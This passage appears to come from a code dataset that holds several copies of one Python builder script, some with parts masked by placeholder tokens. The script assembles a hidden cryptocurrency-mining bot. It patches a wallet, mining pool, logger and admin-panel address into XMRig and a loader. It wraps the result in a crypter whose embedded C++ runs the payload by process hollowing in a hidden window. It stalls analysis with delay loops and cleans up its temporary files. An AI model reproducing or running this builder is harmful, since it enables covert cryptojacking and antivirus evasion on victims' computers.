\"winhost\")\nxcopy(os.getcwd()+\"\\\\Miner\\\\Release\\\\winhost.exe\", \"in.exe\")\nprint(os.getcwd()+\"\\\\enc.exe\")\nsubprocess.call(os.getcwd()+\"\\\\enc.exe\")\ncrypt(\"winhost\", key)\n\nos.system(\"del file.txt\")\nos.system(\"del in.exe\")\nos.system(\"del out.exe\")\nos.system(\"del decr.exe\")\nos.system(\"del enc.exe\")\nos.system(\"del test.exe\")\n", "import os, sys, time, random, subprocess\n\n\ndef load_userdata(wallet, pool, ww, logger, adminka):\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\ex.cpp', 'r') as f:\n file = f.read()\n file = file.replace('%u%', wallet)\n file = file.replace('%p%', pool)\n file = file.replace('%w%', ww)\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\xmrig.cpp', 'w') as w:\n w.write(file)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\ex.cs', 'r') as f:\n file = f.read()\n file = file.replace('%l%', logger)\n file = file.replace('%a%', adminka)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\Program.cs', 'w') as w:\n w.write(file)\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileM(path, file):\n os.system('msbuild.exe \"' + path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileR(path, file):\n os.system('msbuild.exe \"' + path + file +\n '.sln\" /p:Configuration=Release /p:Platform=\"WIN32\"')\n\n\ndef xcopy(path, out):\n try:\n with open(path, 'rb') as f:\n file = f.read()\n with open(out, 'wb') as w:\n w.write(bytearray(file))\n except:\n pass\n\n\ndef crypt(name, key):\n with open('encoder.cpp', 'w') as w:\n txt = \"\"\"\n #include <Windows.h>\n #include <winternl.h>\n #include <iostream>\n #include <string>\n #include <fstream>\n using namespace std;\n int main()\n {\n FILE * file = fopen(\"in.exe\", \"rb\");\n if (file == NULL) return 0;\n fseek(file, 0, SEEK_END);\n long int size = ftell(file);\n fclose(file);\n file = fopen(\"in.exe\", \"rb\");\n unsigned char * in = (unsigned char *)malloc(size);\n int bytes_read = fread(in, sizeof(unsigned char), size, file);\n fclose(file);\n for (int i = 0; i < size; i++) {\n in[i] = in[i] - 0x0%n%;\n }\n file = fopen(\"out.exe\", \"wb\");\n int bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n fclose(file);\n for (int i = 0; i < size; i++) {\n in[i] = in[i] + 0x0%n%;\n }\n file = fopen(\"decr.exe\", \"wb\");\n bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n fclose(file);\n return 0;\n }\n \"\"\"\n txt = txt.replace('%n%', str(key))\n w.write(txt)\n os.system('g++ -o enc encoder.cpp')\n os.system('C:\\\\Python27\\\\python.exe cv.py')\n with open('file.txt', 'r') as r:\n with open(os.getcwd() + '\\\\src\\\\crypter\\\\crypter.cpp', 'w') as w:\n txt = \"\"\" #include \"stdafx.h\"\n #include \"Crypter.h\"\n #include <windows.h>\n #include <winternl.h>\n #pragma comment(lib,\"ws2_32.lib\")\n #pragma comment(lib,\"ntdll.lib\")\n \"\"\" + r.read() + \"\"\" int RunPortableExecutable(void* Image) {\n IMAGE_DOS_HEADER* DOSHeader;\n IMAGE_NT_HEADERS* NtHeader;\n IMAGE_SECTION_HEADER* SectionHeader;\n PROCESS_INFORMATION PI;\n STARTUPINFOA SI;\n CONTEXT* CTX;\n DWORD* ImageBase;\n void* pImageBase;\n int count;\n char buffer[MAX_PATH];\n GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);\n char *CurrentFilePath = buffer;\n DOSHeader = PIMAGE_DOS_HEADER(Image);\n NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);\n if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {\n ZeroMemory(&PI, sizeof(PI));\n ZeroMemory(&SI, sizeof(SI));\n typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);\n NtUnmapViewOfSection mNtUnmapViewOfSection;\n if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {\n CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));\n CTX->ContextFlags = CONTEXT_FULL;\n if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {\n ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);\n pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),\n NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);\n WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);\n for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {\n SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));\n WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),\n LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);\n }\n WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);\n CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;\n SetThreadContext(PI.hThread, LPCONTEXT(CTX));\n ResumeThread(PI.hThread);\n return 0;\n }\n }\n }\n }\n int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {\n for (int i = 0; i < 550000; i++)\n OutputDebugStringW(L\"\");\n for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {\n unsigned char b = rawData[i] + 0x0%n%;\n rawData[i] = b;\n }\n Sleep(((rand() % 5 + 1) + 5) * 1000);\n RunPortableExecutable(rawData);\n return 0;\n } \"\"\"\n txt = txt.replace('%n%', str(key))\n w.write(txt)\n compileM(os.getcwd() + '\\\\src\\\\', 'ConsoleApplication1')\n xcopy(os.getcwd() + '\\\\src\\\\Release\\\\Crypter.exe', os.getcwd() +\n '\\\\' + name + '.exe')\n\n\nkey = random.randint(1, 100)\nu = sys.argv[1]\nw = sys.argv[2]\np = sys.argv[3]\nl = sys.argv[4]\na = sys.argv[5]\nload_userdata(u, p, w, l, a)\ncompile(os.getcwd() + '\\\\Bot\\\\', 'LoaderBot')\nxcopy(os.getcwd() + '\\\\Bot\\\\Miner\\\\bin\\\\Release\\\\LoaderBot.exe', 'Bot.exe')\ncompileR(os.getcwd() + '\\\\rig\\\\', 'xmrig')\nxcopy(os.getcwd() + '\\\\rig\\\\Release\\\\xmrig.exe', 'out.exe')\ncrypt('test', key)\nos.system('C:\\\\Python27\\\\python.exe cv.py')\nwriteBytes(key)\ncompileM(os.getcwd() + '\\\\Miner\\\\', 'winhost')\nxcopy(os.getcwd() + '\\\\Miner\\\\Release\\\\winhost.exe', 'in.exe')\nprint(os.getcwd() + '\\\\enc.exe')\nsubprocess.call(os.getcwd() + '\\\\enc.exe')\ncrypt('winhost', key)\nos.system('del file.txt')\nos.system('del in.exe')\nos.system('del out.exe')\nos.system('del decr.exe')\nos.system('del enc.exe')\nos.system('del test.exe')\n", "<import token>\n\n\ndef load_userdata(wallet, pool, ww, logger, adminka):\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\ex.cpp', 'r') as f:\n file = f.read()\n file = file.replace('%u%', wallet)\n file = file.replace('%p%', pool)\n file = file.replace('%w%', ww)\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\xmrig.cpp', 'w') as w:\n w.write(file)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\ex.cs', 'r') as f:\n file = f.read()\n file = file.replace('%l%', logger)\n file = file.replace('%a%', adminka)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\Program.cs', 'w') as w:\n w.write(file)\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileM(path, file):\n os.system('msbuild.exe \"' + path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileR(path, file):\n os.system('msbuild.exe \"' + path + file +\n '.sln\" /p:Configuration=Release /p:Platform=\"WIN32\"')\n\n\ndef xcopy(path, out):\n try:\n with open(path, 'rb') as f:\n file = f.read()\n with open(out, 'wb') as w:\n w.write(bytearray(file))\n except:\n pass\n\n\ndef crypt(name, key):\n with open('encoder.cpp', 'w') as w:\n txt = \"\"\"\n #include <Windows.h>\n #include <winternl.h>\n #include <iostream>\n #include <string>\n #include <fstream>\n using namespace std;\n int main()\n {\n FILE * file = fopen(\"in.exe\", \"rb\");\n if (file == NULL) return 0;\n fseek(file, 0, SEEK_END);\n long int size = ftell(file);\n fclose(file);\n file = fopen(\"in.exe\", \"rb\");\n unsigned char * in = (unsigned char *)malloc(size);\n int bytes_read = fread(in, sizeof(unsigned char), size, file);\n fclose(file);\n for (int i = 0; i < size; i++) {\n in[i] = in[i] - 0x0%n%;\n }\n file = fopen(\"out.exe\", \"wb\");\n int bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n fclose(file);\n for (int i = 0; i < size; i++) {\n in[i] = in[i] + 0x0%n%;\n }\n file = fopen(\"decr.exe\", \"wb\");\n bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n fclose(file);\n return 0;\n }\n \"\"\"\n txt = txt.replace('%n%', str(key))\n w.write(txt)\n os.system('g++ -o enc encoder.cpp')\n os.system('C:\\\\Python27\\\\python.exe cv.py')\n with open('file.txt', 'r') as r:\n with open(os.getcwd() + '\\\\src\\\\crypter\\\\crypter.cpp', 'w') as w:\n txt = \"\"\" #include \"stdafx.h\"\n #include \"Crypter.h\"\n #include <windows.h>\n #include <winternl.h>\n #pragma comment(lib,\"ws2_32.lib\")\n #pragma comment(lib,\"ntdll.lib\")\n \"\"\" + r.read() + \"\"\" int RunPortableExecutable(void* Image) {\n IMAGE_DOS_HEADER* DOSHeader;\n IMAGE_NT_HEADERS* NtHeader;\n IMAGE_SECTION_HEADER* SectionHeader;\n PROCESS_INFORMATION PI;\n STARTUPINFOA SI;\n CONTEXT* CTX;\n DWORD* ImageBase;\n void* pImageBase;\n int count;\n char buffer[MAX_PATH];\n GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);\n char *CurrentFilePath = buffer;\n DOSHeader = PIMAGE_DOS_HEADER(Image);\n NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);\n if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {\n ZeroMemory(&PI, sizeof(PI));\n ZeroMemory(&SI, sizeof(SI));\n typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);\n NtUnmapViewOfSection mNtUnmapViewOfSection;\n if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {\n CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));\n CTX->ContextFlags = CONTEXT_FULL;\n if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {\n ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);\n pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),\n NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);\n WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);\n for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {\n SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));\n WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),\n LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);\n }\n WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);\n CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;\n SetThreadContext(PI.hThread, LPCONTEXT(CTX));\n ResumeThread(PI.hThread);\n return 0;\n }\n }\n }\n }\n int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {\n for (int i = 0; i < 550000; i++)\n OutputDebugStringW(L\"\");\n for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {\n unsigned char b = rawData[i] + 0x0%n%;\n rawData[i] = b;\n }\n Sleep(((rand() % 5 + 1) + 5) * 1000);\n RunPortableExecutable(rawData);\n return 0;\n } \"\"\"\n txt = txt.replace('%n%', str(key))\n w.write(txt)\n compileM(os.getcwd() + '\\\\src\\\\', 'ConsoleApplication1')\n xcopy(os.getcwd() + '\\\\src\\\\Release\\\\Crypter.exe', os.getcwd() +\n '\\\\' + name + '.exe')\n\n\nkey = random.randint(1, 100)\nu = sys.argv[1]\nw = sys.argv[2]\np = sys.argv[3]\nl = sys.argv[4]\na = sys.argv[5]\nload_userdata(u, p, w, l, a)\ncompile(os.getcwd() + '\\\\Bot\\\\', 'LoaderBot')\nxcopy(os.getcwd() + '\\\\Bot\\\\Miner\\\\bin\\\\Release\\\\LoaderBot.exe', 'Bot.exe')\ncompileR(os.getcwd() + '\\\\rig\\\\', 'xmrig')\nxcopy(os.getcwd() + '\\\\rig\\\\Release\\\\xmrig.exe', 'out.exe')\ncrypt('test', key)\nos.system('C:\\\\Python27\\\\python.exe cv.py')\nwriteBytes(key)\ncompileM(os.getcwd() + '\\\\Miner\\\\', 'winhost')\nxcopy(os.getcwd() + '\\\\Miner\\\\Release\\\\winhost.exe', 'in.exe')\nprint(os.getcwd() + '\\\\enc.exe')\nsubprocess.call(os.getcwd() + '\\\\enc.exe')\ncrypt('winhost', key)\nos.system('del file.txt')\nos.system('del in.exe')\nos.system('del out.exe')\nos.system('del decr.exe')\nos.system('del enc.exe')\nos.system('del test.exe')\n", "<import token>\n\n\ndef load_userdata(wallet, pool, ww, logger, adminka):\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\ex.cpp', 'r') as f:\n file = f.read()\n file = file.replace('%u%', wallet)\n file = file.replace('%p%', pool)\n file = file.replace('%w%', ww)\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\xmrig.cpp', 'w') as w:\n w.write(file)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\ex.cs', 'r') as f:\n file = f.read()\n file = file.replace('%l%', logger)\n file = file.replace('%a%', adminka)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\Program.cs', 'w') as w:\n w.write(file)\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileM(path, file):\n os.system('msbuild.exe \"' + path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileR(path, file):\n os.system('msbuild.exe \"' + path + file +\n '.sln\" /p:Configuration=Release /p:Platform=\"WIN32\"')\n\n\ndef xcopy(path, out):\n try:\n with open(path, 'rb') as f:\n file = f.read()\n with open(out, 'wb') as w:\n w.write(bytearray(file))\n except:\n pass\n\n\ndef crypt(name, key):\n with open('encoder.cpp', 'w') as w:\n txt = \"\"\"\n #include <Windows.h>\n #include <winternl.h>\n #include <iostream>\n #include <string>\n #include <fstream>\n using namespace std;\n int main()\n {\n FILE * file = fopen(\"in.exe\", \"rb\");\n if (file == NULL) return 0;\n fseek(file, 0, SEEK_END);\n long int size = ftell(file);\n fclose(file);\n file = fopen(\"in.exe\", \"rb\");\n unsigned char * in = (unsigned char *)malloc(size);\n int bytes_read = fread(in, sizeof(unsigned char), size, file);\n fclose(file);\n for (int i = 0; i < size; i++) {\n in[i] = in[i] - 0x0%n%;\n }\n file = fopen(\"out.exe\", \"wb\");\n int bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n fclose(file);\n for (int i = 0; i < size; i++) {\n in[i] = in[i] + 0x0%n%;\n }\n file = fopen(\"decr.exe\", \"wb\");\n bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n fclose(file);\n return 0;\n }\n \"\"\"\n txt = txt.replace('%n%', str(key))\n w.write(txt)\n os.system('g++ -o enc encoder.cpp')\n os.system('C:\\\\Python27\\\\python.exe cv.py')\n with open('file.txt', 'r') as r:\n with open(os.getcwd() + '\\\\src\\\\crypter\\\\crypter.cpp', 'w') as w:\n txt = \"\"\" #include \"stdafx.h\"\n #include \"Crypter.h\"\n #include <windows.h>\n #include <winternl.h>\n #pragma comment(lib,\"ws2_32.lib\")\n #pragma comment(lib,\"ntdll.lib\")\n \"\"\" + r.read() + \"\"\" int RunPortableExecutable(void* Image) {\n IMAGE_DOS_HEADER* DOSHeader;\n IMAGE_NT_HEADERS* NtHeader;\n IMAGE_SECTION_HEADER* SectionHeader;\n PROCESS_INFORMATION PI;\n STARTUPINFOA SI;\n CONTEXT* CTX;\n DWORD* ImageBase;\n void* pImageBase;\n int count;\n char buffer[MAX_PATH];\n GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);\n char *CurrentFilePath = buffer;\n DOSHeader = PIMAGE_DOS_HEADER(Image);\n NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);\n if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {\n ZeroMemory(&PI, sizeof(PI));\n ZeroMemory(&SI, sizeof(SI));\n typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);\n NtUnmapViewOfSection mNtUnmapViewOfSection;\n if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {\n CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));\n CTX->ContextFlags = CONTEXT_FULL;\n if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {\n ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);\n pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),\n NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);\n WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);\n for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {\n SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));\n WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),\n LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);\n }\n WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);\n CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;\n SetThreadContext(PI.hThread, LPCONTEXT(CTX));\n ResumeThread(PI.hThread);\n return 0;\n }\n }\n }\n }\n int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {\n for (int i = 0; i < 550000; i++)\n OutputDebugStringW(L\"\");\n for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {\n unsigned char b = rawData[i] + 0x0%n%;\n rawData[i] = b;\n }\n Sleep(((rand() % 5 + 1) + 5) * 1000);\n RunPortableExecutable(rawData);\n return 0;\n } \"\"\"\n txt = txt.replace('%n%', str(key))\n w.write(txt)\n compileM(os.getcwd() + '\\\\src\\\\', 'ConsoleApplication1')\n xcopy(os.getcwd() + '\\\\src\\\\Release\\\\Crypter.exe', os.getcwd() +\n '\\\\' + name + '.exe')\n\n\n<assignment token>\nload_userdata(u, p, w, l, a)\ncompile(os.getcwd() + '\\\\Bot\\\\', 'LoaderBot')\nxcopy(os.getcwd() + '\\\\Bot\\\\Miner\\\\bin\\\\Release\\\\LoaderBot.exe', 'Bot.exe')\ncompileR(os.getcwd() + '\\\\rig\\\\', 'xmrig')\nxcopy(os.getcwd() + '\\\\rig\\\\Release\\\\xmrig.exe', 'out.exe')\ncrypt('test', key)\nos.system('C:\\\\Python27\\\\python.exe cv.py')\nwriteBytes(key)\ncompileM(os.getcwd() + '\\\\Miner\\\\', 'winhost')\nxcopy(os.getcwd() + '\\\\Miner\\\\Release\\\\winhost.exe', 'in.exe')\nprint(os.getcwd() + '\\\\enc.exe')\nsubprocess.call(os.getcwd() + '\\\\enc.exe')\ncrypt('winhost', key)\nos.system('del file.txt')\nos.system('del in.exe')\nos.system('del out.exe')\nos.system('del decr.exe')\nos.system('del enc.exe')\nos.system('del test.exe')\n", "<import token>\n\n\ndef load_userdata(wallet, pool, ww, logger, adminka):\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\ex.cpp', 'r') as f:\n file = f.read()\n file = file.replace('%u%', wallet)\n file = file.replace('%p%', pool)\n file = file.replace('%w%', ww)\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\xmrig.cpp', 'w') as w:\n w.write(file)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\ex.cs', 'r') as f:\n file = f.read()\n file = file.replace('%l%', logger)\n file = file.replace('%a%', adminka)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\Program.cs', 'w') as w:\n w.write(file)\n\n\ndef writeBytes(key):\n with open(os.getcwd() + '\\\\file.txt', 'r') as f:\n file = f.read()\n with open(os.getcwd() + '\\\\Miner\\\\CryptRunPe\\\\winhost.cpp', 'w') as w:\n w.write(\n \"\"\"#include <stdafx.h>\n#include \"process.h\"\n #include \"memrun.h\"\nusing namespace std;\n\"\"\"\n )\n with open('ex.txt') as ex:\n w.write(file)\n exx = ex.read()\n w.write(exx)\n\n\ndef compile(path, file):\n os.system(\n '%windir%\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\msbuild.exe \"' +\n path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileM(path, file):\n os.system('msbuild.exe \"' + path + file + '.sln\" /p:Configuration=Release')\n\n\ndef compileR(path, file):\n os.system('msbuild.exe \"' + path + file +\n '.sln\" /p:Configuration=Release /p:Platform=\"WIN32\"')\n\n\ndef xcopy(path, out):\n try:\n with open(path, 'rb') as f:\n file = f.read()\n with open(out, 'wb') as w:\n w.write(bytearray(file))\n except:\n pass\n\n\ndef crypt(name, key):\n with open('encoder.cpp', 'w') as w:\n txt = \"\"\"\n #include <Windows.h>\n #include <winternl.h>\n #include <iostream>\n #include <string>\n #include <fstream>\n using namespace std;\n int main()\n {\n FILE * file = fopen(\"in.exe\", \"rb\");\n if (file == NULL) return 0;\n fseek(file, 0, SEEK_END);\n long int size = ftell(file);\n fclose(file);\n file = fopen(\"in.exe\", \"rb\");\n unsigned char * in = (unsigned char *)malloc(size);\n int bytes_read = fread(in, sizeof(unsigned char), size, file);\n fclose(file);\n for (int i = 0; i < size; i++) {\n in[i] = in[i] - 0x0%n%;\n }\n file = fopen(\"out.exe\", \"wb\");\n int bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n fclose(file);\n for (int i = 0; i < size; i++) {\n in[i] = in[i] + 0x0%n%;\n }\n file = fopen(\"decr.exe\", \"wb\");\n bytes_written = fwrite(in, sizeof(unsigned char), size, file);\n fclose(file);\n return 0;\n }\n \"\"\"\n txt = txt.replace('%n%', str(key))\n w.write(txt)\n os.system('g++ -o enc encoder.cpp')\n os.system('C:\\\\Python27\\\\python.exe cv.py')\n with open('file.txt', 'r') as r:\n with open(os.getcwd() + '\\\\src\\\\crypter\\\\crypter.cpp', 'w') as w:\n txt = \"\"\" #include \"stdafx.h\"\n #include \"Crypter.h\"\n #include <windows.h>\n #include <winternl.h>\n #pragma comment(lib,\"ws2_32.lib\")\n #pragma comment(lib,\"ntdll.lib\")\n \"\"\" + r.read() + \"\"\" int RunPortableExecutable(void* Image) {\n IMAGE_DOS_HEADER* DOSHeader;\n IMAGE_NT_HEADERS* NtHeader;\n IMAGE_SECTION_HEADER* SectionHeader;\n PROCESS_INFORMATION PI;\n STARTUPINFOA SI;\n CONTEXT* CTX;\n DWORD* ImageBase;\n void* pImageBase;\n int count;\n char buffer[MAX_PATH];\n GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);\n char *CurrentFilePath = buffer;\n DOSHeader = PIMAGE_DOS_HEADER(Image);\n NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);\n if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {\n ZeroMemory(&PI, sizeof(PI));\n ZeroMemory(&SI, sizeof(SI));\n typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);\n NtUnmapViewOfSection mNtUnmapViewOfSection;\n if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {\n CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));\n CTX->ContextFlags = CONTEXT_FULL;\n if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {\n ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);\n pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),\n NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);\n WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);\n for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {\n SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));\n WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),\n LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);\n }\n WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);\n CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;\n SetThreadContext(PI.hThread, LPCONTEXT(CTX));\n ResumeThread(PI.hThread);\n return 0;\n }\n }\n }\n }\n int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) {\n for (int i = 0; i < 550000; i++)\n OutputDebugStringW(L\"\");\n for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {\n unsigned char b = rawData[i] + 0x0%n%;\n rawData[i] = b;\n }\n Sleep(((rand() % 5 + 1) + 5) * 1000);\n RunPortableExecutable(rawData);\n return 0;\n } \"\"\"\n txt = txt.replace('%n%', str(key))\n w.write(txt)\n compileM(os.getcwd() + '\\\\src\\\\', 'ConsoleApplication1')\n xcopy(os.getcwd() + '\\\\src\\\\Release\\\\Crypter.exe', os.getcwd() +\n '\\\\' + name + '.exe')\n\n\n<assignment token>\n<code token>\n", "<import token>\n\n\ndef load_userdata(wallet, pool, ww, logger, adminka):\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\ex.cpp', 'r') as f:\n file = f.read()\n file = file.replace('%u%', wallet)\n file = file.replace('%p%', pool)\n file = file.replace('%w%', ww)\n with open('D:\\\\msys64\\\\xmrig-master\\\\src\\\\xmrig.cpp', 'w') as w:\n w.write(file)\n with open(os.getcwd() + '\\\\Bot\\\\Miner\\\\ex.cs', 